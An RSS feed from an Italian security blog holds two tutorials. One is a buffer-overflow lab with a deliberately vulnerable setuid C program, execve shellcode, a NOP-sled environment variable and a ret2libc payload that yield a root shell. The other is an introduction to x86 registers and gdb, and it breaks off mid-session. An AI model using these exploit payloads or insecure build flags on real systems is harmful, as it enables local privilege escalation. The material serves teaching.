<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michele Manzotti &#187; gdb</title>
	<atom:link href="http://www.manzotti.eu/tag/gdb/feed" rel="self" type="application/rss+xml" />
	<link>http://www.manzotti.eu</link>
	<description></description>
	<lastBuildDate>Thu, 19 Jan 2012 09:56:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>Le basi del BOF Buffer overflow</title>
		<link>http://www.manzotti.eu/le-basi-del-bof-buffer-overflow</link>
		<comments>http://www.manzotti.eu/le-basi-del-bof-buffer-overflow#comments</comments>
		<pubDate>Thu, 01 Jul 2010 14:00:14 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bof]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[gdb]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=816</guid>
		<description><![CDATA[Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l&#8217;ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura&#8230; Dopo l&#8217;articolo sulle basi dell&#8217;assembly e del debugging, vediamo in questo come implementare la [...]]]></description>
			<content:encoded><![CDATA[<p>Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l&#8217;ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura&#8230;</p>
<p>Dopo l&#8217;articolo sulle <a href="http://manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix">basi dell&#8217;assembly e del debugging</a>, vediamo in questo come implementare la tecnica del <a href="http://en.wikipedia.org/wiki/Buffer_overflow">buffer overflow</a>.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/hexdump1.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/07/hexdump1-299x193.jpg" alt="" title="hexdump1" width="299" height="193" class="aligncenter size-medium wp-image-1739" /></a></p>
<p>Senza perderci troppo sulla teoria che rimando a <a href="http://en.wikipedia.org/wiki/Buffer_overflow">wikipedia</a>, cerchiamo di sfruttare un codice vulnerabile per ottenere la shell di root.</p>
<p>Innanzitutto se utilizziamo un kernel superiore al 2.4 è necessario disattivare la randomizzazione dello stack:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0</pre></div></div>

<p>Per riabilitarlo invece:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# sysctl -w kernel.randomize_va_space=3</pre></div></div>

<p><strong>vuln.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #993333;">char</span> buf<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
          strcpy<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># gcc -o vuln vuln.c -z execstack -fno-stack-protector -mpreferred-stack-boundary=2
vuln.c: In function ‘main’:
vuln.c:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
vuln.c:4: warning: incompatible implicit declaration of built-in function ‘printf’</pre></div></div>

<p>Ricordiamoci di utilizzare le opzioni <i><u>-z execstack</u> <u>-fno-stack-protector</u> <u>-mpreferred-stack-boundary=2</u></i> per il kernel 2.6.x e settiamo il suid:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">#chmod +s vuln</pre></div></div>

<p>Procuriamoci uno shellcode da <a href="http://shellcode.org/Shellcode/linux/null-free/">shellcode.org</a> testiamo il suo funzionamento:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> main<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x19</span><span style="color: #660099; font-weight: bold;">\x5e</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\x89</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xf3</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\x57</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\xe8</span><span style="color: #660099; font-weight: bold;">\xe2</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span>&quot;</span>
     <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Testiamo il suo corretto funzionamento:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:# gcc -o shellcode shellcode.c
root@bt:# ./shellcode
#</pre></div></div>

<p>Bene ora possiamo esportare il tutto in una variabile d&#8217;ambiente aggiungendo anche del nop code.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ export SH=`perl -e 'print &quot;\x90&quot;x64,&quot;\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x89\xf3\xb0\x0b\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh&quot;'`</pre></div></div>

<p>Ora non ci resta che individuare dove è localizzata la variabile d&#8217;ambiente appena creata.</p>
<p><strong>get.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
          <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;The address of %s is %p<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> getenv<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo e cerchiamo l&#8217;indirizzo della variabile d&#8217;ambiente:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@$ ./get SH
The address of SH is 0xbffffed4</pre></div></div>

<p>Ora possimao lanciare l&#8217;exploit sull&#8217;indirizzo appena trovato:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@bt$ ./get SH
The address of SH is 0xbffffed4
user@bt:/root/Downloads/BOF_hakin9$ ./vuln `perl -e 'print &quot;\xd4\xfe\xff\xbf&quot;x4'`
Hello ����������������
# whoami
root</pre></div></div>

<p>Possiamo fare anche la stessa cosa senza utilizzare una variabile d&#8217;ambiente e shellcode, ma cercando il binario direttamente nella memoria.</p>
<p><strong>find.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#define BASE_ADDR    0xb7e7d000</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
           <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>ptr<span style="color: #339933;">=</span>BASE_ADDR<span style="color: #339933;">;</span>
           <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>strncmp<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                                <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%p : %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>ptr<span style="color: #339933;">,</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                     <span style="color: #009900;">&#125;</span>
                     ptr<span style="color: #339933;">++;</span>
           <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo con le stesse opzioni adottatte per vuln.c</p>
<p>Analizziamo lo stack address:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@bt$ gdb -q vuln
(gdb) b main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /vuln
&nbsp;
Breakpoint 1, 0x080483fa in main ()
Current language:  auto; currently asm
(gdb) x/x system
0xb7ea7a90 &lt;system&gt;:    0x890cec83
(gdb) q
The program is running.  Exit anyway? (y or n) y</pre></div></div>

<p>Nel caso in cui avessimo uno stack dinamico, l&#8217;indirizzo <strong>0xb7ea7a90</strong> cambierebbe ogni volta.</p>
<p>Cerchiamo la nostra shell in memoria:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ ./find
0xb7faab33 : /bin/sh</pre></div></div>

<p>Bene ora non ci resta che lanciare l&#8217;exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ ./vuln `printf &quot;aaaabbbbcccc\x90\x7a\xea\xb7aaaa\x33\xab\xfa\xb7&quot;`
Hello aaaabbbbcccc�z��aaaa3���
# whoami
root</pre></div></div>

<p>Questo articolo ha il solo scopo didattico, infatti con l&#8217;utilizzo di kernel aggiornati potrebbero verificarsi errori e/o Segmentation Fault.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/le-basi-del-bof-buffer-overflow/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le basi dell&#039;assembly e del debugging su unix</title>
		<link>http://www.manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix</link>
		<comments>http://www.manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix#comments</comments>
		<pubDate>Sun, 22 Mar 2009 13:51:50 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=254</guid>
		<description><![CDATA[Con questo articolo diamo un&#8217;occhiata a quelle che sono le principali tecniche di debugging in ambito unix per capire meglio il funzionamento del linguaggio assembly. Due sono i principali strumenti impiegati per questo genere di operazioni: - Objdump è un tool che viene utilizzato per esaminare i file binari compilati - Gdb è un debugger [...]]]></description>
			<content:encoded><![CDATA[<p>Con questo articolo diamo un&#8217;occhiata a quelle che sono le principali tecniche di <a href="http://it.wikipedia.org/wiki/Debugging">debugging</a> in ambito unix per capire meglio il funzionamento del linguaggio <a href="http://it.wikipedia.org/wiki/Assembly">assembly</a>.</p>
<p>Due sono i principali strumenti impiegati per questo genere di operazioni:<br />
- <span style="text-decoration: underline;"><em>Objdump</em></span> è un tool che viene utilizzato per esaminare i file binari compilati<br />
- <span style="text-decoration: underline;"><em>Gdb</em></span> è un debugger per seguire passo-passo il flusso dei programmi compilati</p>
<p>Tramite questi programmi è facile interrogare i registri presenti nella CPU per visualizzarne il contenuto e capire come viene allocata la memoria. Nel nostro esempio ho adottato una classica architettura <a href="http://it.wikipedia.org/wiki/Intel_80386">Intel i386</a>, presente nella maggior parte dei pc. In questo ambiente i principali registri con i quali la CPU lavora sono i seguenti:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;">EAX<span style="color: #339933;">:</span> accumulatore
ECX<span style="color: #339933;">:</span> contatore
EDX<span style="color: #339933;">:</span> dati
EBX<span style="color: #339933;">:</span> base
EIP<span style="color: #339933;">:</span> puntatore alla istruzione successiva
ESP<span style="color: #339933;">:</span> puntatore della fine dello stack
EBP<span style="color: #339933;">:</span> puntatore al frame corrente
SPF<span style="color: #339933;">:</span> riporta EBP al valore precedente
ESI<span style="color: #339933;">:</span> indice di origine
EDI<span style="color: #339933;">:</span> indice di destinazione</pre></div></div>

<p>Per effettuare le interrogazioni adotteremo il comando <em>x</em>, che sta appunto per <span style="text-decoration: underline;"><em>examine</em></span>, specificando anche come visualizzare l&#8217;output del registro esaminato:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;">x<span style="color: #339933;">/</span>x <span style="color: #339933;">=</span> esamina in esadecimale
x<span style="color: #339933;">/</span>o <span style="color: #339933;">=</span> esamina in ottale
x<span style="color: #339933;">/</span>u <span style="color: #339933;">=</span> esamina in decimale senza segno
x<span style="color: #339933;">/</span>d <span style="color: #339933;">=</span> esamina in decimale
x<span style="color: #339933;">/</span><span style="color: #000066;">s</span> <span style="color: #339933;">=</span> esamina in stringa
x<span style="color: #339933;">/</span>i <span style="color: #339933;">=</span> esamina un istruzione</pre></div></div>

<p>Inoltre digitando un numero subito dopo lo slash è possibile specificare quanti byte interrogare. Ricordo che ogni lettera ASCII corrisponde ad un byte (ad esempio la lettera &#8220;A&#8221; corrisponde 0&#215;41 scritto in esadecimale).</p>
<p>Analizziamo ora il nostro primo programma in C firstprog.c:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#include</span>
<span style="color: #000066;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">int</span> i<span style="color: #339933;">;</span>
  <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello, world!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #000066;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Questo programma non fa altro che stampare 10 volte di seguito la stringa &#8220;Hello world&#8221;. Tale codice anche se risulta molto semplice e banale, è tuttavia utile a capire in prima battuta il funzionamento dell&#8217;assembly. Procediamo dunque con la compilazione:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># gcc -g firstprog.c -o firstprog</span></pre></div></div>

<p>Ora che abbiamo l&#8217;eseguibile passiamo all&#8217;analisi con <em>gdb</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># gdb -q ./firstprog</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> set dis intel
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> list
<span style="color: #cc66cc;">1</span>       <span style="color: #666666; font-style: italic;">#include</span>
<span style="color: #cc66cc;">2</span>
<span style="color: #cc66cc;">3</span>       <span style="color: #000066;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #cc66cc;">4</span>       <span style="color: #009900;">&#123;</span>
<span style="color: #cc66cc;">5</span>         <span style="color: #000066;">int</span> i<span style="color: #339933;">;</span>
<span style="color: #cc66cc;">6</span>         <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
<span style="color: #cc66cc;">7</span>         <span style="color: #009900;">&#123;</span>
<span style="color: #cc66cc;">8</span>           <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello, world!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #cc66cc;">9</span>         <span style="color: #009900;">&#125;</span>
<span style="color: #cc66cc;">10</span>        <span style="color: #000066;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span></pre></div></div>

<p>Con l&#8217;opzione <em>-q</em> evitiamo di stampare banner inutili, mentre con l&#8217;opzione <span style="text-decoration: underline;"><em>set dis intel</em></span> abbiamo un output dell&#8217;assembly molto più leggibile.<br />
Proseguiamo disassemblando il <span style="text-decoration: underline;"><em>main</em></span> e dando una prima occhiata alla locazione della memoria:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> disassemble main
Dump of assembler code <span style="color: #b1b100;">for</span> function main<span style="color: #339933;">:</span>
0x080483c4 <span style="color: #339933;">:</span>    lea    ecx<span style="color: #339933;">,</span><span style="color: #009900;">&#91;</span>esp<span style="color: #339933;">+</span>0x4<span style="color: #009900;">&#93;</span>
0x080483c8 <span style="color: #339933;">:</span>    <span style="color: #b1b100;">and</span>    esp<span style="color: #339933;">,</span>0xfffffff0
0x080483cb <span style="color: #339933;">:</span>    <span style="color: #000066;">push</span>   DWORD PTR <span style="color: #009900;">&#91;</span>ecx<span style="color: #339933;">-</span>0x4<span style="color: #009900;">&#93;</span>
0x080483ce <span style="color: #339933;">:</span>   <span style="color: #000066;">push</span>   ebp
0x080483cf <span style="color: #339933;">:</span>   mov    ebp<span style="color: #339933;">,</span>esp
0x080483d1 <span style="color: #339933;">:</span>   <span style="color: #000066;">push</span>   ecx
0x080483d2 <span style="color: #339933;">:</span>   <span style="color: #000000; font-weight: bold;">sub</span>    esp<span style="color: #339933;">,</span>0x14
0x080483d5 <span style="color: #339933;">:</span>   mov    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x0
0x080483dc <span style="color: #339933;">:</span>   jmp    0x80483ee
0x080483de <span style="color: #339933;">:</span>   mov    DWORD PTR <span style="color: #009900;">&#91;</span>esp<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x80484d0
0x080483e5 <span style="color: #339933;">:</span>   call   0x80482f4
0x080483ea <span style="color: #339933;">:</span>   add    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x1
0x080483ee <span style="color: #339933;">:</span>   <span style="color: #b1b100;">cmp</span>    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x9
0x080483f2 <span style="color: #339933;">:</span>   jle    0x80483de
0x080483f4 <span style="color: #339933;">:</span>   mov    eax<span style="color: #339933;">,</span>0x0
0x080483f9 <span style="color: #339933;">:</span>   add    esp<span style="color: #339933;">,</span>0x14
0x080483fc <span style="color: #339933;">:</span>   <span style="color: #000066;">pop</span>    ecx
0x080483fd <span style="color: #339933;">:</span>   <span style="color: #000066;">pop</span>    ebp
0x080483fe <span style="color: #339933;">:</span>   lea    esp<span style="color: #339933;">,</span><span style="color: #009900;">&#91;</span>ecx<span style="color: #339933;">-</span>0x4<span style="color: #009900;">&#93;</span>
0x08048401 <span style="color: #339933;">:</span>   ret
End of assembler <span style="color: #000066;">dump</span><span style="color: #339933;">.</span></pre></div></div>

<p>Questo output ci mostra la traduzione della funzione <em><span style="text-decoration: underline;">main</span> </em>del nostro programma in assembly. Ad un primo sguardo è possibile capire la sintassi: <em><span style="text-decoration: underline;">locazione della memoria</span> in esadecimale: <span style="text-decoration: underline;">operatore</span> registro <span style="text-decoration: underline;">destinazione</span>, registro d&#8217;<span style="text-decoration: underline;">origine</span></em>. Tuttavia in questo momento nessun registro risulta visualizzabile, proprio perchè ancora  il programma non è stato effettivamente lanciato. Poniamo dunque <span style="text-decoration: underline;"><em>break</em></span> al main, lanciamo l&#8217;eseguibile e analizziamo i registri:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> break main<span style="color: #339933;">:</span>
Breakpoint <span style="color: #cc66cc;">1</span> at 0x80483d5<span style="color: #339933;">:</span> file firstprog<span style="color: #339933;">.</span>c<span style="color: #339933;">,</span> line <span style="color: #cc66cc;">6</span><span style="color: #339933;">.</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> run
Starting program<span style="color: #339933;">:</span> <span style="color: #339933;">./</span>firstprog
&nbsp;
Breakpoint <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> at firstprog<span style="color: #339933;">.</span>c<span style="color: #339933;">:</span><span style="color: #cc66cc;">6</span>
<span style="color: #cc66cc;">6</span>         <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r
eax            0xbfe3fc04       <span style="color: #339933;">-</span><span style="color: #cc66cc;">1075577852</span>
ecx            0xbfe3fb80       <span style="color: #339933;">-</span><span style="color: #cc66cc;">1075577984</span>
edx            0x1      <span style="color: #cc66cc;">1</span>
ebx            0xb800bff4       <span style="color: #339933;">-</span><span style="color: #cc66cc;">1207910412</span>
esp            0xbfe3fb50       0xbfe3fb50
ebp            0xbfe3fb68       0xbfe3fb68
esi            0x8048420        <span style="color: #cc66cc;">134513696</span>
edi            0x8048310        <span style="color: #cc66cc;">134513424</span>
eip            0x80483d5        0x80483d5
eflags         0x200286 <span style="color: #009900;">&#91;</span> PF SF IF ID <span style="color: #009900;">&#93;</span>
cs             0x73     <span style="color: #cc66cc;">115</span>
ss             0x7b     <span style="color: #cc66cc;">123</span>
ds             0x7b     <span style="color: #cc66cc;">123</span>
es             0x7b     <span style="color: #cc66cc;">123</span>
fs             0x0      <span style="color: #cc66cc;">0</span>
gs             0x33     <span style="color: #cc66cc;">51</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483d5        0x80483d5</pre></div></div>

<p>In particolare analizziamo il registro l&#8217;<em>eip</em>, il quale punta alla prossima istruzione da eseguire, analizzando la memoria sulla quale sta puntando. Entrambi i comandi mostrano lo stesso output proprio perchè effettivamente stiamo effettuando la stessa richiesta.</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x 0x80483d5
0x80483d5 <span style="color: #339933;">:</span>    0x00f845c7
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x <span style="color: #0000ff;">$eip</span>
0x80483d5 <span style="color: #339933;">:</span>    0x00f845c7
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>i <span style="color: #0000ff;">$eip</span>
0x80483d5 <span style="color: #339933;">:</span>    mov    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x0</pre></div></div>

<p>Inoltre aggiugendo il numero 6 prima della <em>i</em> di <span style="text-decoration: underline;"><em>instruction</em></span> possiamo vedere le 6 successive istruzioni.</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>6i <span style="color: #0000ff;">$eip</span>
0x80483d5 <span style="color: #339933;">:</span>    mov    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x0
0x80483dc <span style="color: #339933;">:</span>    jmp    0x80483ee
0x80483de <span style="color: #339933;">:</span>    mov    DWORD PTR <span style="color: #009900;">&#91;</span>esp<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x80484d0
0x80483e5 <span style="color: #339933;">:</span>    call   0x80482f4
0x80483ea <span style="color: #339933;">:</span>    add    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x1
0x80483ee <span style="color: #339933;">:</span>    <span style="color: #b1b100;">cmp</span>    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x9</pre></div></div>

<p>A questo punto si vede come al registro puntato di <em>eip</em> c&#8217;è una <em>&#8220;<span style="text-decoration: underline;">DWORD PTR [ebp-0x8],0&#215;0</span>&#8220;</em>. Tale operazione significa che il valore zero viene allocato alla locazione <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span> ossia <span style="text-decoration: underline;"><em>0xbfff7d10</em></span> che al momento contiene <span style="text-decoration: underline;"><em>0xb7febf50</em></span>:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r ebp
ebp            0xbfff7d18       0xbfff7d18
